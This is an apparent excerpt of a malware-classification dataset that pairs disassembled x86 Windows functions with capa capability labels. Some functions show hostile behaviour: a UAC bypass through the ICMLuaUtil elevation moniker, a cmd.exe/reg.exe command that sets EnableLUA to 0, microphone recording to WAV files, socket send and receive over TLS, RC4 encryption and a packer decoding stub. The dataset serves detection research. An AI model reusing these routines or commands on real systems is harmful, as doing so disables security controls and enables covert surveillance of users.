joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4099a4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a77
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a90
push ebx
push 0x409a9c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a24
mov al, 0x69
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409978
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a2d
call fcn.00409978
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a7e
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b30
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
jmp 0x409bd9
cmp dword [esi + 0x10], 0x1000
jne 0x409bc5
test byte [esi + 0x15], 1
jne 0x409bc5
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b84
cmp eax, 2
je 0x409b84
cmp eax, 0x10
je 0x409b84
cmp eax, 0x20
jne 0x409b99
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b99
mov bl, 1
xor ebp, ebp
jmp 0x409baa
mov eax, dword [esi]
add eax, ebp
call fcn.00409b28
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b9d
test bl, bl
je 0x409bc5
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b5c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x1001faf2
Capabilities:
Encode data using xor

Disassembly:
call 0x1001fb48
sbb byte [ecx - 0x47], bh
xor dword [edx + ebp*8 + 0x1b], 0xffffffe2
outsd dx, dword [esi]
sub al, 0x37
add al, 0xc2
dec eax
in al, dx
or al, 0x52
push edx
push edx
push esi
push ecx
push eax
or eax, 0xffffffb5
push ebx
push edi
jne 0x1001fadd
cli
sysexit
mov esp, dword [edi*4 - 0x2d5557c9]
cmp dl, byte [esp + eax*2]
scasb al, byte es:[edi]
cmc
inc eax
invalid
Function at 0x405c44
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a04], 0
push esi
jne 0x405c7b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405c55
mov dword [ecx*4 + 0x422a00], eax
inc ecx
cmp ecx, 0x100
jl 0x405c50
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405cac
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a00]
xor eax, esi
inc ecx
dec edx
jne 0x405c8e
pop edi
not eax
pop esi
ret 0xc

Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x2e71723e
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x2ad0c93
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0xb2170f
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
lea eax, [esp + 0x14]
mov esi, ecx
push eax
mov ecx, 0xb94d98
mov edi, edx
call fcn.00b21fc0
mov edx, dword [esp + 0x10]
xor eax, eax
inc eax
movzx ebx, di
mov word [0xb92aa8], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0xb92aac], edx
mov word [0xb92ab6], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0xb92aaa], si
addsd xmm0, qword [edx*8 + 0xb8d2b0]
mov dword [0xb92ab0], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0xb92ab8], ax
cvtpd2ps xmm0, xmm0
push esi
push 0xb2186a
push 0xb92aa8
push 0xffffffffffffffff
push 0xb92ac8
mov word [0xb92ab4], cx
mulss xmm0, dword [0xb8d25c]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0xb92abc], eax
mov dword [0xb92a80], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov ecx, esi
call fcn.00b217ec
inc esi
cmp esi, 2
jb 0xb217c7
push dword [0xb92ac8]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [esp + 0xc]
pop ebx
jmp fcn.00b21fd8

Function at 0xb217ec
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0xb92a80]
mov esi, ecx
mov ebp, 0xb94d58
push esi
mov ecx, ebp
call fcn.00b21e65
mov ecx, eax
call fcn.00b21f9d
mov edi, dword [0xb94d94]
mov ebx, esi
shl ebx, 5
mov ecx, ebp
push esi
add edi, ebx
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
mov dword [edi], eax
mov eax, dword [0xb92a80]
mov dword [edi + 4], eax
xor eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0xb92ac8]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0xb94d94]
push 0x20
add eax, ebx
push eax
push dword [0xb92ac8]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0xb21a6d
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
movzx esi, word [0xb92ab6]
mov ebx, edx
push edi
movzx edi, word [0xb92aaa]
xor ebp, ebp
imul esi, edi
push ebp
push 0x80
push 2
push ebp
mov eax, esi
mov dword [esp + 0x2c], 1
imul eax, dword [0xb92aac]
push ebp
push 0x40000000
push ecx
mov dword [esp + 0x34], 0x10
shr eax, 3
mov dword [esp + 0x3c], eax
mov eax, esi
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
imul eax, edi
mov dword [esp + 0x44], eax
add eax, 0x24
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xb21aed
xor al, al
jmp 0xb21be1
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x10]
push ebp
push eax
push 4
pop ebp
push ebp
push 0xb85df0
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x20]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.WAVE
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.fmt
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x24]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x28]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0xb92aaa
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push 0xb92aac
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x2c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x30]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0xb92ab6
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.data
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x34]
push eax
push edi
call esi
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0xb248c8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0xb92adc]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0xb24a1b
cmp byte [edi + 1], al
je 0xb24a17
cmp byte [edi + 0x31], al
je 0xb24926
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.00b2531e
sub esp, 0x14
mov ecx, esp
push 0xb85fb4
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
call fcn.00b40cf1
mov dword [edi + 0x4c], eax
test eax, eax
jne 0xb24941
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0xb24a7b
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.00b40f20
cmp eax, 1
je 0xb24987
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb85f18
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.00b40d31
and dword [edi + 0x4c], 0
jmp 0xb24a97
mov ecx, dword [edi + 0x4c]
call fcn.00b41ad1
cmp eax, 1
je 0xb249c4
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb85f18
call fcn.00b22093
call fcn.00b3b580
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.00b41143
jmp 0xb24976
mov ecx, dword [edi + 0x4c]
call fcn.00b40e97
mov dword [edi + 0x50], eax
test eax, eax
jne 0xb249f9
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb85f18
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0xb24a99
cmp byte [edi + 0x31], 0
je 0xb24a97
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0xb24a97
sub ecx, 0x17
je 0xb24a71
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00b3cb72
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.00b252fd
sub esp, 0x14
mov ecx, esp
push 0xb85f18
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00b21fd8
jmp 0xb24a97
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb85f18
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0xb24aa1
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.00b2247c
push 4
pop esi
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
add eax, esi
push 0xc
mov dword [ebp - 8], eax
call fcn.00b2520c
push esi
lea eax, [edi + 0x2c]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.00b251e3
push eax
call fcn.00b56990
add esp, 0xc
lea eax, [ebp - 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push esi
call fcn.00b251e3
push eax
call fcn.00b56990
add esp, 0xc
lea eax, [ebp + 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push 8
call fcn.00b251e3
push eax
call fcn.00b56990
add esp, 0xc
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x20]
push eax
call fcn.00b23376
cmp byte [edi + 1], bl
jne 0xb24b40
push ebx
lea ecx, [ebp - 0x20]
call fcn.00b2247c
push eax
lea ecx, [ebp - 0x20]
call fcn.00b21fab
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0xb24b7b
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x20]
call fcn.00b2247c
push eax
lea ecx, [ebp - 0x20]
call fcn.00b21fab
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.00b410cb
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x20]
call fcn.00b21fd8
lea ecx, [ebp + 0xc]
call fcn.00b21fd8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0xb24b96
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0xb24bcd
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0xc]
push ecx
push dword [esp + 0x14]
mov ecx, dword [edi + 0x4c]
call fcn.00b41107
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0xb24be0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
ret 0xc

Function at 0xb24be5
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0xb24c01
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 4
Function at 0xb24cc3
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
mov esi, ecx
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.00b220df
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
mov ecx, edi
push eax
call fcn.00b21fab
push eax
mov ecx, esi
call fcn.00b24efb
test al, al
je 0xb24e13
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
mov ecx, edi
call fcn.00b2247c
cmp ebp, eax
jbe 0xb24d31
mov ecx, edi
mov bl, 1
call fcn.00b2247c
mov ecx, ebp
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0xb24d33
xor bl, bl
test bl, bl
jne 0xb24e13
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00b241a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00b21fe2
lea ecx, [esp + 0x30]
call fcn.00b21fd8
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.00b241a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00b21fe2
lea ecx, [esp + 0x30]
call fcn.00b21fd8
lea eax, [esp + 0x18]
test bh, bh
jne 0xb24da4
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00b220f6
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0xb24de1
push eax
lea ecx, [esi + 0xc]
call fcn.00b21fc0
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00b241a2
push eax
mov ecx, edi
call fcn.00b21fe2
lea ecx, [esp + 0x30]
call fcn.00b21fd8
mov ecx, edi
call fcn.00b2247c
test eax, eax
lea eax, [esi + 0x58]
jne 0xb24ce9
lea ecx, [esp + 0x18]
call fcn.00b21fd8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0xb24f51
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0xb24fea
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0xb24f74
mov byte [esi + 0x7c], 1
jmp 0xb24fc0
cmp byte [0xb92d48], 0
je 0xb24fc0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.00b3bc1f
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.00b252fd
sub esp, 0x14
mov ecx, esp
push 0xb85fb4
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00b21fd8
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0xb25150
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0xb24fec
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0xb26d08
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0xb8d2a0]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0xb26d12
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0xb26d58
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0xb26d37
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0xb26d77
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00b56990
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0xb26e07
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0xb26dbd
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0xb26dd3
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0xb26dfa
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0xb26dac
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0xb2729b
Capabilities:
Terminate process

Disassembly:
xor eax, eax
inc eax
cmp dword [0xb919d0], eax
jne 0xb276c5
ret
cmp dword [0xb919d0], 1
jne 0xb276d2
xor eax, eax
inc eax
ret
push esi
push dword [0xb92d44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0xb952d8
mov edx, 0xb86478
mov ecx, esi
call fcn.00b277f2
test al, al
je 0xb276ff
mov ecx, esi
call fcn.00b21f04
mov ecx, eax
jmp 0xb27704
mov ecx, 0xb92b38
call fcn.00b276a8
pop esi
test eax, eax
jne 0xb27715
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0xb95320
call fcn.00b21fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 2
mov dword [0xb92d44], eax
pop eax
ret
Function at 0xb272ab
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, str.ntdll.dll
push edi
push str.RtlInitUnicodeString
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0xb92afc], eax
test eax, eax
jne 0xb272d7
xor eax, eax
jmp 0xb27340
push str.NtAllocateVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0xb92b00], eax
test eax, eax
je 0xb272d3
push str.NtFreeVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0xb92b0c], eax
test eax, eax
je 0xb272d3
push str.RtlAcquirePebLock
push ebx
call esi
push eax
call edi
mov dword [0xb92b04], eax
test eax, eax
je 0xb272d3
push str.RtlReleasePebLock
push ebx
call esi
push eax
call edi
mov dword [0xb92b10], eax
test eax, eax
je 0xb272d3
push str.LdrEnumerateLoadedModules
push ebx
call esi
push eax
call edi
xor ecx, ecx
mov dword [0xb92af8], eax
test eax, eax
setne cl
mov eax, ecx
pop edi
pop esi
pop ebx
ret

Function at 0xb27538
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
push str.___ucmAllocateElevatedObject_n
call fcn.00b2723b
and dword [ebp - 4], 0
mov edi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push edi
mov esi, 0x80004005
call fcn.00b5bb56
pop ecx
pop ecx
cmp eax, 0x40
ja 0xb275db
lea ecx, [ebp - 0x28]
call fcn.00b271cb
lea eax, [ebp - 0x230]
mov dword [ebp - 0x28], 0x24
push str.Elevation:Administrator_new:
push eax
mov dword [ebp - 0x14], 4
call fcn.00b5f859
lea eax, [ebp - 0x230]
push edi
push eax
call fcn.00b5f87b
push str.___CoGetObject_n
call fcn.00b2723b
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0xb86528
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, eax
test esi, esi
je 0xb275d0
push str.____CoGetObject_FAILURE_n
jmp 0xb275d5
push str.___CoGetObject_SUCCESS_n
call fcn.00b2723b
pop ecx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
pop edi
mov dword [ecx], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xb27790
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00b56f10
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.00b56f10
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xb27877
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x2a4]
push ebx
push ebp
push esi
push eax
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0xb278c1
sub esp, 0x18
lea edx, [esp + 0x2c8]
mov ecx, esp
call fcn.00b3bdaf
push 0x54
mov ecx, 0xb95058
call fcn.00b24aa1
jmp 0xb27988
lea ecx, [esp + 0x10]
call fcn.00b220df
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x2c]
call fcn.00b2417e
mov edx, 0xb86538
mov ecx, eax
call fcn.00b277f2
lea ecx, [esp + 0x28]
mov bl, al
call fcn.00b21f09
mov ebp, 0x250
test bl, bl
je 0xb27954
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x30]
call fcn.00b220b7
push eax
lea ecx, [esp + 0x14]
call fcn.00b21fe2
lea ecx, [esp + 0x28]
jmp 0xb2794f
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x48]
call fcn.00b220b7
push eax
lea edx, [esp + 0x14]
lea ecx, [esp + 0x2c]
call fcn.00b26362
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00b21fe2
lea ecx, [esp + 0x28]
call fcn.00b21fd8
lea ecx, [esp + 0x40]
call fcn.00b21fd8
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0xb2791a
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push eax
call fcn.00b220f6
push 0x50
mov ecx, 0xb95058
call fcn.00b24aa1
lea ecx, [esp + 0x10]
call fcn.00b21fd8
lea ecx, [esp + 0x2b0]
call fcn.00b21f09
pop esi
pop ebp
pop ebx
add esp, 0x2a0
ret